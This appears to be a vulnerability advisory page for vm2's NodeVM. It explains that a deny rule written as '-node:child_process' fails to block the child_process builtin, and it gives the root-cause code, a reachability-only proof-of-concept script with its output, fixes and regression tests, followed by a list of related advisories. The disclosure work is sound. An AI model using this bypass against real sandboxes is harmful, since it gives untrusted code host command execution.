Résumé
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Détails de l’avis
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').
Affected Files / Functions
lib/builtin.jsmakeBuiltinsFromLegacyOptions- wildcard builtin expansion
- exact negative entry check:
builtins.indexOf(\-${name}`)` addDefaultBuiltin
lib/resolver.jsResolver.resolve
lib/setup-node-sandbox.jsrequireImplnode:prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host
child_processbuiltin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
require('child_process')succeeds inside the sandbox.require('node:child_process')succeeds inside the sandbox.- The returned module exposes
execSyncandspawnas functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
Observed result:
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
Expected Secure Behavior
-node:child_process and -child_process should be equivalent.
If either spelling is denied, both of these should fail:
require('child_process')
require('node:child_process')
Suggested Fix
Canonicalize builtin names before allow/deny comparison:
- Strip
node:from user-provided builtin entries. - Preserve whether an entry is negative (
-...) before canonicalizing. - Store and compare one canonical builtin key.
- Strip
Apply the same normalization to:
- wildcard negative entries
- explicit allowlist entries
- object-form builtin entries
- mock/override keys if they are intended to support
node:spelling
Add regression tests:
builtin: ['*', '-node:child_process']blockschild_process.builtin: ['*', '-node:child_process']blocksnode:child_process.builtin: ['*', '-node:fs']blocksfsandnode:fs.builtin: ['*', '-node:fs/promises']and-fs/promisesbehave consistently.- Canonical dangerous builtins remain denied even if explicitly requested with
node:spelling.
Références
- https://github.com/advisories/GHSA-8686-vhfx-7r3j
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j
- https://nvd.nist.gov/vuln/detail/CVE-2026-92957
- https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix
Vulnérabilités liées
Tout Supply chain →- MEDIUMGHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
- HIGHCVE-2026-92958
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
- CRITICALCVE-2024-6385
CVE-2024-6385 was a critical improper access control flaw in GitLab Community and Enterprise Edition disclosed on July 11, 2024, affecting versions from 15.8 before 16.11.6, 17.0 before 17.0.4, and 17.1 before 17.1.2, that under certain circumstances let an attacker trigger and run a CI/CD pipeline as another, arbitrary user. The bug stemmed from the pipeline-triggering logic failing to correctly validate the identity of the user on whose behalf a pipeline was started, so jobs executed with the victim's permissions, CI_JOB_TOKEN, and access to their CI/CD secrets such as cloud tokens, Kubernetes service accounts, and attached identities, enabling privilege escalation across the platform. It was effectively a re-fix of CVE-2024-5655 (also critical, disclosed late June 2024), whose root cause was that merge requests automatically retargeted to a new branch upon merge would inadvertently trigger pipeline execution as the original author without manual initiation, with GraphQL CI_JOB_TOKEN authentication being disabled by default as part of the mitigation. Both flaws were rated critical by GitLab and prompted urgent patch guidance.
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- HIGHCVE-2026-95837
containerd CRI plugin: Checkpoint restore bypasses destination security context
- MEDIUMCVE-2026-106495
Backstage: Improper access control in backend action invocation